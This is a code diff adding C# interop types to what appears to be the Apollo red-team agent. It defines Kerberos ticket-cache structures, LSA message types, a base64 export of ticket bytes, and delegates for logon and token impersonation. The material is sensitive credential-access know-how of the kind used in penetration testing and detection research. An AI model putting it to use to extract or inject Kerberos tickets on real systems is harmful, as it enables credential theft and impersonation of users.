TicketFlagsDisplay = ticket.TicketFlags.ToString();
|
||||
base64Ticket = Convert.ToBase64String(ticket.Kirbi);
|
||||
}
|
||||
|
||||
}
|
||||
@@ -0,0 +1,307 @@
|
||||
using System;
|
||||
using System.Runtime.InteropServices;
|
||||
using System.Security.Principal;
|
||||
using ApolloInterop.Enums;
|
||||
using ApolloInterop.Features.WindowsTypesAndAPIs;
|
||||
using static ApolloInterop.Features.WindowsTypesAndAPIs.WinNTTypes;
|
||||
using static ApolloInterop.Features.WindowsTypesAndAPIs.LSATypes;
|
||||
using static ApolloInterop.Features.WindowsTypesAndAPIs.APIInteropTypes;
|
||||
using System.Runtime.Serialization;
|
||||
|
||||
namespace ApolloInterop.Features.KerberosTickets;
|
||||
|
||||
public record struct LogonSessionData
|
||||
{
|
||||
public LUID LogonId;
|
||||
public string Username;
|
||||
public string LogonDomain;
|
||||
public string AuthenticationPackage;
|
||||
public Win32.LogonType LogonType;
|
||||
public int Session;
|
||||
public SecurityIdentifier Sid;
|
||||
public DateTime LogonTime;
|
||||
public string LogonServer;
|
||||
public string DnsDomainName;
|
||||
public string Upn;
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Record type to represent a Kerberos ticket.
|
||||
/// </summary>
|
||||
[DataContract]
|
||||
public record KerberosTicket
|
||||
{
|
||||
[DataMember(Name = "luid")]
|
||||
public LUID Luid { get; set; }
|
||||
public string LogonId => Luid.ToString();
|
||||
[DataMember(Name = "ClientName")]
|
||||
public string ClientName { get; set; }
|
||||
[DataMember(Name = "ClientRealm")]
|
||||
public string ClientRealm { get; set; }
|
||||
public string ClientFullName => $"{ClientName}@{ClientRealm}";
|
||||
[DataMember(Name = "ServerName")]
|
||||
public string ServerName { get; set; }
|
||||
[DataMember(Name = "ServerRealm")]
|
||||
public string ServerRealm { get; set; }
|
||||
public string ServerFullName => $"{ServerName}@{ServerRealm}";
|
||||
[DataMember(Name = "StartTime")]
|
||||
public DateTime StartTime { get; set; }
|
||||
[DataMember(Name = "EndTime")]
|
||||
public DateTime EndTime { get; set; }
|
||||
[DataMember(Name = "RenewTime")]
|
||||
public DateTime RenewTime { get; set; }
|
||||
[DataMember(Name = "EncryptionType")]
|
||||
public KerbEncType EncryptionType { get; set; }
|
||||
[DataMember(Name = "TicketFlags")]
|
||||
public KerbTicketFlags TicketFlags { get; set; }
|
||||
public byte[] Kirbi { get; set; } = [];
|
||||
}
|
||||
|
||||
|
||||
|
||||
public record struct KERB_QUERY_TKT_CACHE_RESPONSE
|
||||
{
|
||||
public KERB_PROTOCOL_MESSAGE_TYPE MessageType;
|
||||
public uint CountOfTickets;
|
||||
public HANDLE<KERB_TICKET_CACHE_INFO_EX> Tickets; // seems this starts at a memory address which is one IntPrt size away from the start of the struct
|
||||
}
|
||||
|
||||
public record struct KERB_QUERY_TKT_CACHE_REQUEST
|
||||
{
|
||||
public KERB_PROTOCOL_MESSAGE_TYPE MessageType;
|
||||
public LUID LogonId;
|
||||
}
|
||||
|
||||
|
||||
public record struct KERB_RETRIEVE_TKT_REQUEST
|
||||
{
|
||||
public KERB_PROTOCOL_MESSAGE_TYPE MessageType;
|
||||
public LUID LogonId;
|
||||
public UNICODE_STRING TargetName;
|
||||
public uint TicketFlags;
|
||||
public KerbCacheOptions CacheOptions;
|
||||
public KERB_CRYPTO_KEY_TYPE EncryptionType;
|
||||
public SecHandle CredentialsHandle;
|
||||
}
|
||||
|
||||
|
||||
|
||||
public struct KERB_RETRIEVE_TKT_RESPONSE
|
||||
{
|
||||
public KERB_EXTERNAL_TICKET Ticket;
|
||||
}
|
||||
|
||||
|
||||
public struct KERB_SUBMIT_TKT_REQUEST
|
||||
{
|
||||
public KERB_PROTOCOL_MESSAGE_TYPE MessageType;
|
||||
public LUID LogonId;
|
||||
public int Flags;
|
||||
public KERB_CRYPTO_KEY32 Key; // key to decrypt KERB_CRED
|
||||
public int KerbCredSize;
|
||||
public int KerbCredOffset;
|
||||
}
|
||||
|
||||
|
||||
|
||||
[StructLayout(LayoutKind.Sequential)]
|
||||
public record struct KERB_PURGE_TKT_CACHE_REQUEST
|
||||
{
|
||||
public KERB_PROTOCOL_MESSAGE_TYPE MessageType;
|
||||
public LUID LogonId;
|
||||
public UNICODE_STRING ServerName;
|
||||
public UNICODE_STRING RealmName;
|
||||
}
|
||||
|
||||
public record struct KERB_TICKET_CACHE_INFO_EX
|
||||
{
|
||||
public LSA_OUT_STRING ClientName;
|
||||
public LSA_OUT_STRING ClientRealm;
|
||||
public LSA_OUT_STRING ServerName;
|
||||
public LSA_OUT_STRING ServerRealm;
|
||||
public long StartTime;
|
||||
public long EndTime;
|
||||
public long RenewTime;
|
||||
public int EncryptionType;
|
||||
public uint TicketFlags;
|
||||
}
|
||||
|
||||
public struct KERB_EXTERNAL_TICKET
|
||||
{
|
||||
public HANDLE<KERB_EXTERNAL_NAME> ServiceName;
|
||||
public HANDLE<KERB_EXTERNAL_NAME> TargetName;
|
||||
public HANDLE<KERB_EXTERNAL_NAME> ClientName;
|
||||
public UNICODE_STRING DomainName;
|
||||
public UNICODE_STRING TargetDomainName;
|
||||
public UNICODE_STRING AltTargetDomainName;
|
||||
public KERB_CRYPTO_KEY SessionKey;
|
||||
public KerbTicketFlags TicketFlags;
|
||||
public uint Flags;
|
||||
public long KeyExpirationTime;
|
||||
public long StartTime;
|
||||
public long EndTime;
|
||||
public long RenewUntil;
|
||||
public long TimeSkew;
|
||||
public uint EncodedTicketSize;
|
||||
public HANDLE<UCHAR> EncodedTicket;
|
||||
}
|
||||
|
||||
public struct KERB_EXTERNAL_NAME
|
||||
{
|
||||
public short NameType;
|
||||
public ushort NameCount;
|
||||
public UNICODE_STRING Names;
|
||||
}
|
||||
|
||||
public struct KERB_CRYPTO_KEY
|
||||
{
|
||||
public KERB_CRYPTO_KEY_TYPE KeyType;
|
||||
public uint Length;
|
||||
public HANDLE<UCHAR> Value;
|
||||
}
|
||||
|
||||
public struct KERB_CRYPTO_KEY32
|
||||
{
|
||||
public int KeyType;
|
||||
public int Length;
|
||||
public int Offset;
|
||||
}
|
||||
|
||||
public struct SecHandle
|
||||
{
|
||||
public nuint dwLower;
|
||||
public nuint dwUpper;
|
||||
}
|
||||
|
||||
public struct KERB_INTERACTIVE_LOGON
|
||||
{
|
||||
public KERB_LOGON_SUBMIT_TYPE LogonType;
|
||||
public UNICODE_STRING LogonDomainName;
|
||||
public UNICODE_STRING UserName;
|
||||
public UNICODE_STRING Password;
|
||||
}
|
||||
|
||||
public enum KERB_CRYPTO_KEY_TYPE
|
||||
{
|
||||
KERB_ETYPE_DES_CBC_CRC = 1,
|
||||
KERB_ETYPE_DES_CBC_MD4 = 2,
|
||||
KERB_ETYPE_DES_CBC_MD5 = 3,
|
||||
KERB_ETYPE_NULL = 0,
|
||||
KERB_ETYPE_RC4_HMAC_NT = 23,
|
||||
KERB_ETYPE_RC4_MD4 = -128,
|
||||
}
|
||||
|
||||
[Flags]
|
||||
public enum KerbTicketFlags : uint
|
||||
{
|
||||
Forwardable = 0x40000000,
|
||||
Forwarded = 0x20000000,
|
||||
HwAuthent = 0x00100000,
|
||||
Initial = 0x00400000,
|
||||
Invalid = 0x01000000,
|
||||
MayPostDate = 0x04000000,
|
||||
OkAsDelegate = 0x00040000,
|
||||
PostDated = 0x02000000,
|
||||
PreAuthent = 0x00200000,
|
||||
Proxiable = 0x10000000,
|
||||
Proxy = 0x08000000,
|
||||
Renewable = 0x00800000,
|
||||
Reserved = 0x80000000,
|
||||
Reserved1 = 0x00000001,
|
||||
NameCanonicalize = 0x10000
|
||||
}
|
||||
|
||||
public enum KERB_PROTOCOL_MESSAGE_TYPE
|
||||
{
|
||||
KerbDebugRequestMessage = 0,
|
||||
KerbQueryTicketCacheMessage = 1,
|
||||
KerbChangeMachinePasswordMessage = 2,
|
||||
KerbVerifyPacMessage = 3,
|
||||
KerbRetrieveTicketMessage = 4,
|
||||
KerbUpdateAddressesMessage = 5,
|
||||
KerbPurgeTicketCacheMessage = 6,
|
||||
KerbChangePasswordMessage = 7,
|
||||
KerbRetrieveEncodedTicketMessage = 8,
|
||||
KerbDecryptDataMessage = 9,
|
||||
KerbAddBindingCacheEntryMessage = 10,
|
||||
KerbSetPasswordMessage = 11,
|
||||
KerbSetPasswordExMessage = 12,
|
||||
KerbVerifyCredentialsMessage = 13,
|
||||
KerbQueryTicketCacheExMessage = 14,
|
||||
KerbPurgeTicketCacheExMessage = 15,
|
||||
KerbRefreshSmartcardCredentialsMessage = 16,
|
||||
KerbAddExtraCredentialsMessage = 17,
|
||||
KerbQuerySupplementalCredentialsMessage = 18,
|
||||
KerbTransferCredentialsMessage = 19,
|
||||
KerbQueryTicketCacheEx2Message = 20,
|
||||
KerbSubmitTicketMessage = 21,
|
||||
KerbAddExtraCredentialsExMessage = 22,
|
||||
KerbQueryKdcProxyCacheMessage = 23,
|
||||
KerbPurgeKdcProxyCacheMessage = 24,
|
||||
KerbQueryTicketCacheEx3Message = 25,
|
||||
KerbCleanupMachinePkinitCredsMessage = 26,
|
||||
KerbAddBindingCacheEntryExMessage = 27,
|
||||
KerbQueryBindingCacheMessage = 28,
|
||||
KerbPurgeBindingCacheMessage = 29,
|
||||
KerbPinKdcMessage = 30,
|
||||
KerbUnpinAllKdcsMessage = 31,
|
||||
KerbQueryDomainExtendedPoliciesMessage = 32,
|
||||
KerbQueryS4U2ProxyCacheMessage = 33,
|
||||
KerbRetrieveKeyTabMessage = 34,
|
||||
KerbRefreshPolicyMessage = 35,
|
||||
KerbPrintCloudKerberosDebugMessage = 36,
|
||||
}
|
||||
|
||||
public enum KERB_LOGON_SUBMIT_TYPE
|
||||
{
|
||||
KerbInteractiveLogon = 2,
|
||||
KerbSmartCardLogon = 6,
|
||||
KerbWorkstationUnlockLogon = 7,
|
||||
KerbSmartCardUnlockLogon = 8,
|
||||
KerbProxyLogon = 9,
|
||||
KerbTicketLogon = 10,
|
||||
KerbTicketUnlockLogon = 11,
|
||||
KerbS4ULogon = 12,
|
||||
KerbCertificateLogon = 13,
|
||||
KerbCertificateS4ULogon = 14,
|
||||
KerbCertificateUnlockLogon = 15,
|
||||
KerbNoElevationLogon = 83,
|
||||
KerbLuidLogon = 84
|
||||
}
|
||||
|
||||
public enum KerbEncType
|
||||
{
|
||||
des_cbc_crc = 1,
|
||||
des_cbc_md4 = 2,
|
||||
des_cbc_md5 = 3,
|
||||
des3_cbc_md5 = 5,
|
||||
des3_cbc_sha1 = 7,
|
||||
dsaWithSHA1_CmsOID = 9,
|
||||
md5WithRSAEncryption_CmsOID = 10,
|
||||
sha1WithRSAEncryption_CmsOID = 11,
|
||||
rc2CBC_EnvOID = 12,
|
||||
rsaEncryption_EnvOID = 13,
|
||||
rsaES_OAEP_ENV_OID = 14,
|
||||
des_ede3_cbc_Env_OID = 15,
|
||||
des3_cbc_sha1_kd = 16,
|
||||
aes128_cts_hmac_sha1 = 17,
|
||||
aes256_cts_hmac_sha1 = 18,
|
||||
rc4_hmac = 23,
|
||||
rc4_hmac_exp = 24,
|
||||
subkey_keymaterial = 65,
|
||||
old_exp = -135
|
||||
}
|
||||
|
||||
[Flags]
|
||||
public enum KerbCacheOptions : uint
|
||||
{
|
||||
KERB_RETRIEVE_TICKET_DEFAULT = 0U,
|
||||
KERB_RETRIEVE_TICKET_DONT_USE_CACHE = 1U,
|
||||
KERB_RETRIEVE_TICKET_USE_CACHE_ONLY = 2U,
|
||||
KERB_RETRIEVE_TICKET_USE_CREDHANDLE = 4U,
|
||||
KERB_RETRIEVE_TICKET_AS_KERB_CRED = 8U,
|
||||
KERB_RETRIEVE_TICKET_WITH_SEC_CRED = 16U,
|
||||
KERB_RETRIEVE_TICKET_CACHE_TICKET = 32U,
|
||||
KERB_RETRIEVE_TICKET_MAX_LIFETIME = 64U
|
||||
}
|
||||
|
||||
@@ -0,0 +1,30 @@
|
||||
using System;
|
||||
|
||||
namespace ApolloInterop.Features.WindowsTypesAndAPIs;
|
||||
|
||||
public static class APIInteropExt
|
||||
{
|
||||
public static APIInteropTypes.HANDLE<T> Increment<T>(this APIInteropTypes.HANDLE<T> handle) where T : notnull
|
||||
{
|
||||
IntPtr updatedHandleAddress = (IntPtr)(handle.PtrLocation.ToInt64() + IntPtr.Size);
|
||||
return new APIInteropTypes.HANDLE<T>(updatedHandleAddress);
|
||||
}
|
||||
|
||||
public static APIInteropTypes.HANDLE Increment(this APIInteropTypes.HANDLE handle)
|
||||
{
|
||||
IntPtr updatedHandleAddress = (IntPtr)(handle.PtrLocation.ToInt64() + IntPtr.Size);
|
||||
return new APIInteropTypes.HANDLE(updatedHandleAddress);
|
||||
}
|
||||
|
||||
public static APIInteropTypes.HANDLE<T> IncrementBy<T>(this APIInteropTypes.HANDLE<T> handle, int increment) where T : notnull
|
||||
{
|
||||
IntPtr updatedHandleAddress = (IntPtr)(handle.PtrLocation.ToInt64() + increment);
|
||||
return new APIInteropTypes.HANDLE<T>(updatedHandleAddress);
|
||||
}
|
||||
|
||||
public static APIInteropTypes.HANDLE IncrementBy(this APIInteropTypes.HANDLE handle, int increment)
|
||||
{
|
||||
IntPtr updatedHandleAddress = (IntPtr)(handle.PtrLocation.ToInt64() + increment);
|
||||
return new APIInteropTypes.HANDLE(updatedHandleAddress);
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,101 @@
|
||||
using System;
|
||||
using System.Runtime.InteropServices;
|
||||
|
||||
namespace ApolloInterop.Features.WindowsTypesAndAPIs;
|
||||
|
||||
public class APIInteropTypes
|
||||
{
|
||||
|
||||
/// <summary>
|
||||
/// A windows NT status code
|
||||
/// </summary>
|
||||
public readonly record struct NTSTATUS
|
||||
{
|
||||
|
||||
public readonly Ntstatus Status;
|
||||
public static readonly NTSTATUS STATUS_SUCCESS = (NTSTATUS)0;
|
||||
public Severity SeverityCode => (Severity)(((uint)Status & 0xc0000000) >> 30);
|
||||
|
||||
public NTSTATUS(int status) => Status = (Ntstatus)status;
|
||||
|
||||
|
||||
public static implicit operator int(NTSTATUS value) => (int)value.Status;
|
||||
public static explicit operator NTSTATUS(int value) => new(value);
|
||||
public static implicit operator uint(NTSTATUS value) => (uint)value.Status;
|
||||
public static explicit operator NTSTATUS(uint value) => new((int)value);
|
||||
}
|
||||
|
||||
|
||||
/// <summary>
|
||||
/// A pointer to an object
|
||||
/// Can be used in P/Invoke calls to pass a pointer to a structure or object
|
||||
/// </summary>
|
||||
/// <param name="value"></param>
|
||||
[StructLayout(LayoutKind.Sequential)]
|
||||
public readonly record struct HANDLE
|
||||
{
|
||||
public readonly IntPtr PtrLocation;
|
||||
public static HANDLE Null => (HANDLE)IntPtr.Zero;
|
||||
public bool IsNull => PtrLocation == default;
|
||||
|
||||
|
||||
public static long operator -(HANDLE value1, HANDLE value2) => value1.PtrLocation.ToInt64() - value2.PtrLocation.ToInt64();
|
||||
|
||||
public static implicit operator IntPtr(HANDLE value) => value.PtrLocation;
|
||||
public static explicit operator HANDLE(IntPtr value) => new(value);
|
||||
|
||||
public T CastTo<T>() where T : notnull => (T)Marshal.PtrToStructure(PtrLocation, typeof(T));
|
||||
|
||||
public HANDLE(IntPtr value) => PtrLocation = value;
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// A version of the handle struct that takes in a generic argument this is used to specify the type of the handle mainly for easier debugging, and readability
|
||||
/// Note the GetValue method will only work on types that are Structs, classes and are non value types
|
||||
/// </summary>
|
||||
/// <param name="value"></param>
|
||||
/// <typeparam name="T"></typeparam>
|
||||
[StructLayout(LayoutKind.Sequential)]
|
||||
public readonly record struct HANDLE<T> where T : notnull
|
||||
{
|
||||
//fields & properties
|
||||
public readonly IntPtr PtrLocation { get; init; }
|
||||
public static HANDLE<T> Null => (HANDLE<T>)IntPtr.Zero;
|
||||
public string HandleTypeName => typeof(T).Name;
|
||||
public bool IsNull => PtrLocation == default;
|
||||
|
||||
//methods
|
||||
public T? GetValue() => (T)Marshal.PtrToStructure(PtrLocation, typeof(T));
|
||||
|
||||
|
||||
|
||||
public static long operator -(HANDLE<T> value1, HANDLE<T> value2) => value1.PtrLocation.ToInt64() - value2.PtrLocation.ToInt64();
|
||||
public static implicit operator IntPtr(HANDLE<T> value) => value.PtrLocation;
|
||||
public static explicit operator HANDLE<T>(IntPtr value) => new(value);
|
||||
public static implicit operator HANDLE(HANDLE<T> value) => new(value.PtrLocation);
|
||||
public static explicit operator HANDLE<T>(HANDLE value) => new(value.PtrLocation);
|
||||
|
||||
//constructors
|
||||
public HANDLE(IntPtr value) => PtrLocation = value;
|
||||
|
||||
public HANDLE(T value)
|
||||
{
|
||||
PtrLocation = Marshal.AllocHGlobal(Marshal.SizeOf(value));
|
||||
Marshal.StructureToPtr(value, PtrLocation, false);
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
|
||||
public readonly record struct UCHAR
|
||||
{
|
||||
public readonly byte Value;
|
||||
public static implicit operator byte(UCHAR value) => value.Value;
|
||||
public static explicit operator UCHAR(byte value) => new(value);
|
||||
|
||||
public UCHAR(byte value) => Value = value;
|
||||
public UCHAR (char value) => Value = (byte)value;
|
||||
}
|
||||
|
||||
|
||||
}
|
||||
@@ -0,0 +1,26 @@
|
||||
using System.Runtime.InteropServices;
|
||||
using System.Security.Principal;
|
||||
using ApolloInterop.Enums;
|
||||
using static ApolloInterop.Features.WindowsTypesAndAPIs.WinNTTypes;
|
||||
using static ApolloInterop.Features.WindowsTypesAndAPIs.LSATypes;
|
||||
using static ApolloInterop.Features.WindowsTypesAndAPIs.APIInteropTypes;
|
||||
|
||||
namespace ApolloInterop.Features.WindowsTypesAndAPIs;
|
||||
|
||||
public class Advapi32APIs
|
||||
{
|
||||
public delegate NTSTATUS LsaOpenPolicy(HANDLE<LSA_OUT_STRING> SystemName, HANDLE<OBJECT_ATTRIBUTES> ObjectAttributes, ACCESS_MASK DesiredAccess, out HANDLE PolicyHandle);
|
||||
public delegate bool GetTokenInformation(HANDLE tokenHandle, Win32.TokenInformationClass tokenInformationClass, HANDLE tokenInformation, int tokenInformationLength, out int returnLength);
|
||||
public delegate uint LsaNtStatusToWinError(NTSTATUS status);
|
||||
public delegate bool OpenProcessToken(HANDLE ProcessHandle, TokenAccessLevels DesiredAccess, out HANDLE TokenHandle);
|
||||
public delegate bool ImpersonateLoggedOnUser(HANDLE TokenHandle);
|
||||
public delegate bool AllocateLocallyUniqueId(out LUID luid);
|
||||
public delegate bool LogonUserA(HANDLE lpszUsername, HANDLE lpszDomain, HANDLE lpszPassword, Win32.LogonType dwLogonType, Win32.LogonProvider dwLogonProvider, out HANDLE phToken);
|
||||
public delegate bool LogonUserW(
|
||||
[MarshalAs(UnmanagedType.LPWStr)] string lpszUsername,
|
||||
[MarshalAs(UnmanagedType.LPWStr)] string lpszDomain,
|
||||
[MarshalAs(UnmanagedType.LPWStr)] string lpszPassword,
|
||||
Win32.LogonType dwLogonType,
|
||||
Win32.LogonProvider dwLogonProvider,
|
||||
out HANDLE phToken);
|
||||
}
|
||||
@@ -0,0 +1,9 @@
|
||||
using ApolloInterop.Enums;
|
||||
|
||||
namespace ApolloInterop.Features.WindowsTypesAndAPIs;
|
||||
|
||||
public class Kernel32APIs
|
||||
{
|
||||
public delegate APIInteropTypes.HANDLE OpenProcess(Win32.ProcessAccessFlags dwDesiredAccess, bool bInheritHandle, int dwProcessId);
|
||||
public delegate bool CloseHandle(APIInteropTypes.HANDLE hObject);
|
||||
}
|
||||
@@ -0,0 +1,100 @@
|
||||
using System;
|
||||
using System.Text;
|
||||
using static ApolloInterop.Features.WindowsTypesAndAPIs.WinNTTypes;
|
||||
using static ApolloInterop.Features.WindowsTypesAndAPIs.APIInteropTypes;
|
||||
namespace ApolloInterop.Features.WindowsTypesAndAPIs;
|
||||
|
||||
public static class LSATypes
|
||||
{
|
||||
public struct LSA_AUTH_INFORMATION
|
||||
{
|
||||
long LastUpdateTime;
|
||||
uint AuthType;
|
||||
uint AuthInfoLength;
|
||||
HANDLE AuthInfo;
|
||||
}
|
||||
|
||||
public record struct LSA_OUT_STRING
|
||||
{
|
||||
public ushort Length;
|
||||
public ushort MaximumLength;
|
||||
public HANDLE<char> Buffer;
|
||||
|
||||
public override string ToString()
|
||||
{
|
||||
//the handle is a pointer to only the first character of the string we want to return
|
||||
//we must read each following byte for the length of the string to get the full string
|
||||
StringBuilder sb = new();
|
||||
HANDLE<char> currentCharHandle = Buffer;
|
||||
|
||||
//read each character from the buffer
|
||||
for (int i = 0; i < Length; i++)
|
||||
{
|
||||
char returnedChar = currentCharHandle.GetValue();
|
||||
//if the character is a separator or control char, we don't want to include it in the string
|
||||
if(Char.IsSeparator(returnedChar) is false && Char.IsControl(returnedChar) is false)
|
||||
{
|
||||
sb.Append(returnedChar);
|
||||
}
|
||||
//move the pointer to the next character
|
||||
currentCharHandle = currentCharHandle.IncrementBy(1);
|
||||
}
|
||||
string result = sb.ToString();
|
||||
return result;
|
||||
}
|
||||
|
||||
public LSA_OUT_STRING(string str)
|
||||
{
|
||||
Length = (ushort)str.Length;
|
||||
MaximumLength = (ushort)(str.Length + 1);
|
||||
Buffer = new(str.ToCharArray()[0]);
|
||||
}
|
||||
}
|
||||
|
||||
public record struct LSA_IN_STRING
|
||||
{
|
||||
public ushort Length;
|
||||
public ushort MaximumLength;
|
||||
public string Buffer;
|
||||
|
||||
|
||||
public LSA_IN_STRING(string str)
|
||||
{
|
||||
Length = (ushort)str.Length;
|
||||
MaximumLength = (ushort)(str.Length + 1);
|
||||
Buffer = str;
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
/// <summary>
|
||||
/// Data provided by lsa after a call to LsaGetLogonSessionData
|
||||
/// Make sure to convert this to a LogonSessionData object before accessing its properties to avoid issues
|
||||
/// </summary>
|
||||
public record struct SECURITY_LOGON_SESSION_DATA
|
||||
{
|
||||
public uint Size;
|
||||
public LUID LogonId;
|
||||
public LSA_OUT_STRING UserName;
|
||||
public LSA_OUT_STRING LogonDomain;
|
||||
public LSA_OUT_STRING AuthenticationPackage;
|
||||
public uint LogonType;
|
||||
public uint Session;
|
||||
public HANDLE Sid;
|
||||
public long LogonTime;
|
||||
public LSA_OUT_STRING LogonServer;
|
||||
public LSA_OUT_STRING DnsDomainName;
|
||||
public LSA_OUT_STRING Upn;
|
||||
}
|
||||
|
||||
public struct QUOTA_LIMITS
|
||||
{
|
||||
public uint PagedPoolLimit;
|
||||
public uint NonPagedPoolLimit;
|
||||
public uint MinimumWorkingSetSize;
|
||||
public uint MaximumWorkingSetSize;
|
||||
public uint PagefileLimit;
|
||||
public long TimeLimit;
|
||||
}
|
||||
|
||||
}
|
||||
@@ -0,0 +1,361 @@
|
||||
global using Ntstatus = uint;
|
||||
|
||||
namespace ApolloInterop.Features.WindowsTypesAndAPIs;
|
||||
|
||||
/// <summary>
|
||||
/// NTSTATUS is an undocument enum. https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-erref/596a1078-e883-4972-9bbc-49e60bebca55
|
||||
/// https://www.pinvoke.net/default.aspx/Enums/NtStatus.html
|
||||
/// </summary>
|
||||
public enum Ntstatus : uint
|
||||
{
|
||||
// Success
|
||||
Success = 0x00000000,
|
||||
Wait0 = 0x00000000,
|
||||
Wait1 = 0x00000001,
|
||||
Wait2 = 0x00000002,
|
||||
Wait3 = 0x00000003,
|
||||
Wait63 = 0x0000003f,
|
||||
Abandoned = 0x00000080,
|
||||
AbandonedWait0 = 0x00000080,
|
||||
AbandonedWait1 = 0x00000081,
|
||||
AbandonedWait2 = 0x00000082,
|
||||
AbandonedWait3 = 0x00000083,
|
||||
AbandonedWait63 = 0x000000bf,
|
||||
UserApc = 0x000000c0,
|
||||
KernelApc = 0x00000100,
|
||||
Alerted = 0x00000101,
|
||||
Timeout = 0x00000102,
|
||||
Pending = 0x00000103,
|
||||
Reparse = 0x00000104,
|
||||
MoreEntries = 0x00000105,
|
||||
NotAllAssigned = 0x00000106,
|
||||
SomeNotMapped = 0x00000107,
|
||||
OpLockBreakInProgress = 0x00000108,
|
||||
VolumeMounted = 0x00000109,
|
||||
RxActCommitted = 0x0000010a,
|
||||
NotifyCleanup = 0x0000010b,
|
||||
NotifyEnumDir = 0x0000010c,
|
||||
NoQuotasForAccount = 0x0000010d,
|
||||
PrimaryTransportConnectFailed = 0x0000010e,
|
||||
PageFaultTransition = 0x00000110,
|
||||
PageFaultDemandZero = 0x00000111,
|
||||
PageFaultCopyOnWrite = 0x00000112,
|
||||
PageFaultGuardPage = 0x00000113,
|
||||
PageFaultPagingFile = 0x00000114,
|
||||
CrashDump = 0x00000116,
|
||||
ReparseObject = 0x00000118,
|
||||
NothingToTerminate = 0x00000122,
|
||||
ProcessNotInJob = 0x00000123,
|
||||
ProcessInJob = 0x00000124,
|
||||
ProcessCloned = 0x00000129,
|
||||
FileLockedWithOnlyReaders = 0x0000012a,
|
||||
FileLockedWithWriters = 0x0000012b,
|
||||
|
||||
// Informational
|
||||
Informational = 0x40000000,
|
||||
ObjectNameExists = 0x40000000,
|
||||
ThreadWasSuspended = 0x40000001,
|
||||
WorkingSetLimitRange = 0x40000002,
|
||||
ImageNotAtBase = 0x40000003,
|
||||
RegistryRecovered = 0x40000009,
|
||||
|
||||
// Warning
|
||||
Warning = 0x80000000,
|
||||
GuardPageViolation = 0x80000001,
|
||||
DatatypeMisalignment = 0x80000002,
|
||||
Breakpoint = 0x80000003,
|
||||
SingleStep = 0x80000004,
|
||||
BufferOverflow = 0x80000005,
|
||||
NoMoreFiles = 0x80000006,
|
||||
HandlesClosed = 0x8000000a,
|
||||
PartialCopy = 0x8000000d,
|
||||
DeviceBusy = 0x80000011,
|
||||
InvalidEaName = 0x80000013,
|
||||
EaListInconsistent = 0x80000014,
|
||||
NoMoreEntries = 0x8000001a,
|
||||
LongJump = 0x80000026,
|
||||
DllMightBeInsecure = 0x8000002b,
|
||||
|
||||
// Error
|
||||
Error = 0xc0000000,
|
||||
Unsuccessful = 0xc0000001,
|
||||
NotImplemented = 0xc0000002,
|
||||
InvalidInfoClass = 0xc0000003,
|
||||
InfoLengthMismatch = 0xc0000004,
|
||||
AccessViolation = 0xc0000005,
|
||||
InPageError = 0xc0000006,
|
||||
PagefileQuota = 0xc0000007,
|
||||
InvalidHandle = 0xc0000008,
|
||||
BadInitialStack = 0xc0000009,
|
||||
BadInitialPc = 0xc000000a,
|
||||
InvalidCid = 0xc000000b,
|
||||
TimerNotCanceled = 0xc000000c,
|
||||
InvalidParameter = 0xc000000d,
|
||||
NoSuchDevice = 0xc000000e,
|
||||
NoSuchFile = 0xc000000f,
|
||||
InvalidDeviceRequest = 0xc0000010,
|
||||
EndOfFile = 0xc0000011,
|
||||
WrongVolume = 0xc0000012,
|
||||
NoMediaInDevice = 0xc0000013,
|
||||
NoMemory = 0xc0000017,
|
||||
ConflictingAddresses = 0xc0000018,
|
||||
NotMappedView = 0xc0000019,
|
||||
UnableToFreeVm = 0xc000001a,
|
||||
UnableToDeleteSection = 0xc000001b,
|
||||
IllegalInstruction = 0xc000001d,
|
||||
AlreadyCommitted = 0xc0000021,
|
||||
AccessDenied = 0xc0000022,
|
||||
BufferTooSmall = 0xc0000023,
|
||||
ObjectTypeMismatch = 0xc0000024,
|
||||
NonContinuableException = 0xc0000025,
|
||||
BadStack = 0xc0000028,
|
||||
NotLocked = 0xc000002a,
|
||||
NotCommitted = 0xc000002d,
|
||||
InvalidParameterMix = 0xc0000030,
|
||||
ObjectNameInvalid = 0xc0000033,
|
||||
ObjectNameNotFound = 0xc0000034,
|
||||
ObjectNameCollision = 0xc0000035,
|
||||
ObjectPathInvalid = 0xc0000039,
|
||||
ObjectPathNotFound = 0xc000003a,
|
||||
ObjectPathSyntaxBad = 0xc000003b,
|
||||
DataOverrun = 0xc000003c,
|
||||
DataLate = 0xc000003d,
|
||||
DataError = 0xc000003e,
|
||||
CrcError = 0xc000003f,
|
||||
SectionTooBig = 0xc0000040,
|
||||
PortConnectionRefused = 0xc0000041,
|
||||
InvalidPortHandle = 0xc0000042,
|
||||
SharingViolation = 0xc0000043,
|
||||
QuotaExceeded = 0xc0000044,
|
||||
InvalidPageProtection = 0xc0000045,
|
||||
MutantNotOwned = 0xc0000046,
|
||||
SemaphoreLimitExceeded = 0xc0000047,
|
||||
PortAlreadySet = 0xc0000048,
|
||||
SectionNotImage = 0xc0000049,
|
||||
SuspendCountExceeded = 0xc000004a,
|
||||
ThreadIsTerminating = 0xc000004b,
|
||||
BadWorkingSetLimit = 0xc000004c,
|
||||
IncompatibleFileMap = 0xc000004d,
|
||||
SectionProtection = 0xc000004e,
|
||||
EasNotSupported = 0xc000004f,
|
||||
EaTooLarge = 0xc0000050,
|
||||
NonExistentEaEntry = 0xc0000051,
|
||||
NoEasOnFile = 0xc0000052,
|
||||
EaCorruptError = 0xc0000053,
|
||||
FileLockConflict = 0xc0000054,
|
||||
LockNotGranted = 0xc0000055,
|
||||
DeletePending = 0xc0000056,
|
||||
CtlFileNotSupported = 0xc0000057,
|
||||
UnknownRevision = 0xc0000058,
|
||||
RevisionMismatch = 0xc0000059,
|
||||
InvalidOwner = 0xc000005a,
|
||||
InvalidPrimaryGroup = 0xc000005b,
|
||||
NoImpersonationToken = 0xc000005c,
|
||||
CantDisableMandatory = 0xc000005d,
|
||||
NoLogonServers = 0xc000005e,
|
||||
NoSuchLogonSession = 0xc000005f,
|
||||
NoSuchPrivilege = 0xc0000060,
|
||||
PrivilegeNotHeld = 0xc0000061,
|
||||
InvalidAccountName = 0xc0000062,
|
||||
UserExists = 0xc0000063,
|
||||
NoSuchUser = 0xc0000064,
|
||||
GroupExists = 0xc0000065,
|
||||
NoSuchGroup = 0xc0000066,
|
||||
MemberInGroup = 0xc0000067,
|
||||
